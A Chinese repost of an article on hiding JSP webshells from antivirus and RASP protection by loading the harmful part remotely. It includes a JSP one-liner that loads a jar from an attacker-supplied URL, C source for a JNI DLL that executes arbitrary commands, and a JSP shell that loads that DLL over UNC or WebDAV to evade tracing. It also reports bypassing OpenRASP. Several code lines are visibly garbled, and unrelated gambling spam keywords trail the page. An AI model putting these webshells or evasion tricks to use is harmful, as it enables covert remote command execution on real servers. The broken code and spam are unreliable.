安基網 首頁 安全 Web安全 查看內容

webshell中的分離免殺實踐

2019-8-26 00:34| 投稿: xiaotiger |來自: 互聯網


免責聲明:本站系公益性非盈利IT技術普及網,本文由投稿者轉載自互聯網的公開文章,文末均已注明出處,其內容和圖片版權歸原網站或作者所有,文中所述不代表本站觀點,若有無意侵權或轉載不當之處請從網站右下角聯系我們處理,謝謝合作!

摘要: 聲明由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測以及文章作者不為此承擔任何責任。雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文 ...

聲明

由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測以及文章作者不為此承擔任何責任。

雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。

描述

前段時間看了傾旋的分離免殺直播,感覺像打開了免殺新世界的大門,jsp 中使用webshell 同樣也有類似的手法。下面就讓我們一起來看一看webshell中的分離免殺實踐。

方法一: 遠程加載jar 包

原理

寫一個load 腳本,利用java反射,可以遠程加載jar 的webshell (畫重點)

webshell 實現

1.利用java 反射知識,首先寫一個人畜無害的遠程加載jsp 腳本,通過遠程加載的方式,把遠程的jar 文件進行加載 (有害代碼里都放jar里)

<%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL{new java.net.URL(request.getParameter("u"))})).getMethods[0].invoke(, new Object{request.getParameterMap})%>

2.遠程部署的 jar 里放會被查殺的shell 代碼,比如菜刀的一句話客戶端(.java)文件,然后把該java 文件編譯成jar 包即可。

3: 加載遠程jar進行菜刀連接

方法二: 利用jni遠程調用載入dll ,達到類似分離免殺的效果。

在java中,Java無法直接訪問到操作系統底層如硬件系統,為此Java提供了JNI(Java Native Interface )來實現對于底層的訪問。JNI允許Java代碼使用以其他語言編寫的代碼和代碼庫,本地程序中的函數也可以調用Java層的函數,即JNI實現了Java和本地代碼間的雙向交互。(畫重點)

DEMO及原理

首先,我們來看個JNI的調用流程圖

實現步驟:

java中可以使用native關鍵字來說明這個方法是原生函數,也就是這個方法是用C/C++語言實現的,并且被編譯成了DLL,由java去調用。

可以將native方法比作Java程序同C程序的接口,其實現步驟:

  1. 在Java中聲明native方法,然后編譯;

  2. 用javah命令產生一個.h文件;

  3. 寫一個.cpp文件實現native導出方法,其中需要包含第二步產生的.h文件(注意其中又包含了JDK帶的jni.h文件);

  4. 將第三步的.cpp文件編譯成動態鏈接庫文件;

  5. 在Java中用System.loadLibrary或者System.load方法加載第四步產生的動態鏈接庫文件,這個native方法就可以在Java中被訪問了。

1: 首先編寫一個.java 文件

2: 然后把該java 文件編譯成c文件

其中需要注意生成的c文件里的頭jni.h 是java安裝home目錄里的include 目錄里,等會編譯成dll 或者編譯成so 文件的時候需要指定進行加載。

3: 根據頭文件,寫C代碼實現本地方法。

根據頭文件,寫C文件實現本地方法

#include "HelloNative.h"

#include

JNIEXPORT void JNICALL Java_HelloNative_sayHello(JNIEnv *env, jclass jc)

{

printf("Hello,here from c,JNI");

}

4: 編譯成dll 文件(win下編譯的dll 或者linux 下編譯so 文件一定要和目標服務器環境一致*3,重要的事情說三遍)

gcc -m64 -Wl,--add-stdcall-alias -I "C:Program FilesJavajdk1.8.0_161include" -I "C:Program FilesJavajdk1.8.0_161includewin32" -shared -o HelloNative.dll HelloNative.c

我們可以看到,編譯成功,然后執行,java 加載dll 鏈接庫執行成功。這時,原理我們已經知道了,已經成功了一半了。

webshell 實現

假設我們的目標是tomcat 容器

1: 新建package為org.apache.jsp, 類名為loadshell的.java文件。

package org.apache.jsp;

public class LoadShell

{

static class JniClass

{

public static native String exec( String string );

}

}

2: 進行編譯成h 文件

cd到編譯生成的target/class目錄,使用 javah org.apache.jsp.LoadShell$JniClass 命令生成 org_apache_jsp_LoadShell.h 文件

3: 調用上一步生成頭文件,編寫有回顯的c語言代碼

編寫具有執行命令功能回顯的c 代碼

#include "jni.h"

#include "org_apache_jsp_LoadShell_JniClass.h"

#include

#include

#include

#include

#include

int execmd(const char *cmd, char *result)

{

char buffer[1024*12]; //定義緩沖區

FILE *pipe = _popen(cmd, "r"); //打開管道,并執行命令

if (!pipe)

return 0; //返回0表示運行失敗

while (!feof(pipe))

{

if (fgets(buffer, 128, pipe))

{ //將管道輸出到result中

strcat(result, buffer);

}

}

_pclose(pipe); //關閉管道

return 1; //返回1表示運行成功

}

//重點

JNIEXPORT jstring JNICALL Java_org_apache_jsp_LoadShell_00024JniClass_exec(JNIEnv *env, jobject class_object, jstring jstr)

{

const char *cstr = (*env)->GetStringUTFChars(env, jstr, );

char result[1024 * 12] = ""; //定義存放結果的字符串數組

if (1 == execmd(cstr, result))

{

// printf(result);

}

char return_messge[100] = "";

strcat(return_messge, result);

jstring cmdresult = (*env)->NewStringUTF(env, return_messge);

//system;

return cmdresult;

}

}

4: 編譯生成dll (再次提醒,一定要和目標服務器環境一致*3)

5: 編寫成可被中間件容器解析的jsp load文件。

jsp load時有兩種思路,一種是將該jsp文件和該dll放置于服務器的本地路徑。jsp的代碼里指定dll的絕對路徑相對路徑;另外一種是使用unc路徑,這樣惡意dll通過遠程部署,加強隱蔽程度,加大溯源難度、提高部署靈活度。

<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%!

class JniClass {

public native String exec(String string);

public JniClass {

//System.load("/Users/nano/IdeaProjects/untitled1/target/classes/libJniClass.jnilib");

//System.load("C:Program FilesApache Software FoundationTomcat 8.5webappsshellbypass1.dll");

System.load("vmware-hostShared Folderstest1.dll");

}

}

;

%>

<%

String cmd = request.getParameter("cmd");

JniClass jniClass = new JniClass;

String res = jniClass.exec(cmd);

%>

<%=res%>

注JNI shell:

1:jsp load時有兩種思路,一種是將該jsp文件和該dll放置于目標服務器的本地路徑。jsp的代碼里指定dll的絕對路徑相對路徑;另外一種是使用unc路徑,這樣惡意dll通過遠程部署,加強隱蔽程度,加大溯源難度、提高部署靈活度。

2:對于linux|mac環境,上一步生成的java內部類叫做JniClass,在類unix平臺下,加載的庫名需要為lib開頭+JniClass+jnilib或者dylib。

3: 核心的system.load|loadLibrary法是以File的形式載入dll、so文件,該dll、so 路徑的以遠程的方式加載的絕對路徑,所以需要目標機器上測試判斷環境是支持//,還是支持?簡單判斷方法是new file(path),然后判斷file.exist。如果是前者的linux環境,需要想辦法使用//的unc路徑,推薦使用samba搭建匿名訪問服務放置.jnilib載荷。如果是后者,即目標服務器為windows下的java應用,遠程路徑需要以開頭,dll需要放在windows下,在windows平臺下445不通的情況下,會訪問WebDAV(開啟webclient)的80端口下載下來dll執行。

4: jni載荷的c、c++實現的代碼要具備健壯性,避免目標環境的jvm奔潰。

5: 使用system函數執行命令要小心被hids發現。

6: 在tomcat 上測試成功

bypass 百度安全的rasp 安全防護測試

百度rasp 防護介紹

Gartner 在2014年提出了 運行時應用自我保護 技術的概念,即 對應用服務的保護,不應該依賴于外部系統;應用應該具備自我保護的能力。OpenRASP 是該技術的開源實現,它改變了防火墻依賴請求特征來攔截攻擊的模式。對于注入類的漏洞,我們可以識別用戶輸入的部分,并檢查程序邏輯是否被修改。由于不依賴請求特征,每條報警都是成功的攻擊。

目前,OpenRASP 已經集成在多個商業主機安全軟件里,也有大量客戶將它部署至生產環境。

給tomcat 開啟rasp 應用防護

0:原始菜刀馬測試

發現被rasp 攔截,無法執行命令,執行失敗。

1: 遠程加載jar 方式繞過測試

遠程jar 的方式加載菜刀shell ,成功bypass ,無攔截。

2:JNI 的dll 遠程加載繞過測試

JNI 遠程加載dll ,成功bypass 。

專注滲透測試技術

全球最新網絡攻擊技術

END

---

------

---------



小編推薦:欲學習電腦技術、系統維護、網絡管理、編程開發和安全攻防等高端IT技術,請 點擊這里 注冊賬號,公開課頻道價值萬元IT培訓教程免費學,讓您少走彎路、事半功倍,好工作升職加薪!

本文出自:https://www.toutiao.com/a6719623873320468996/

免責聲明:本站系公益性非盈利IT技術普及網,本文由投稿者轉載自互聯網的公開文章,文末均已注明出處,其內容和圖片版權歸原網站或作者所有,文中所述不代表本站觀點,若有無意侵權或轉載不當之處請從網站右下角聯系我們處理,謝謝合作!


鮮花

握手

雷人

路過

雞蛋

相關閱讀

最新評論

 最新
返回頂部
创业如何赚钱 众鑫盈配资 理财买保本还是非保本 湖北快三投注 中奖率高的时时彩软件 秒速赛车前五后五技巧 今晚p62开奖结果结果 双彩网幸运飞艇开奖 深圳风采2010101 银行理财产品有风险吗 吉林快3投注图 王中王精选五码中特 海南飞鱼彩票直播 lpc乐配资 青海11选5基本走势图 十一运夺金怎么玩 黑龙江11选五一定牛结果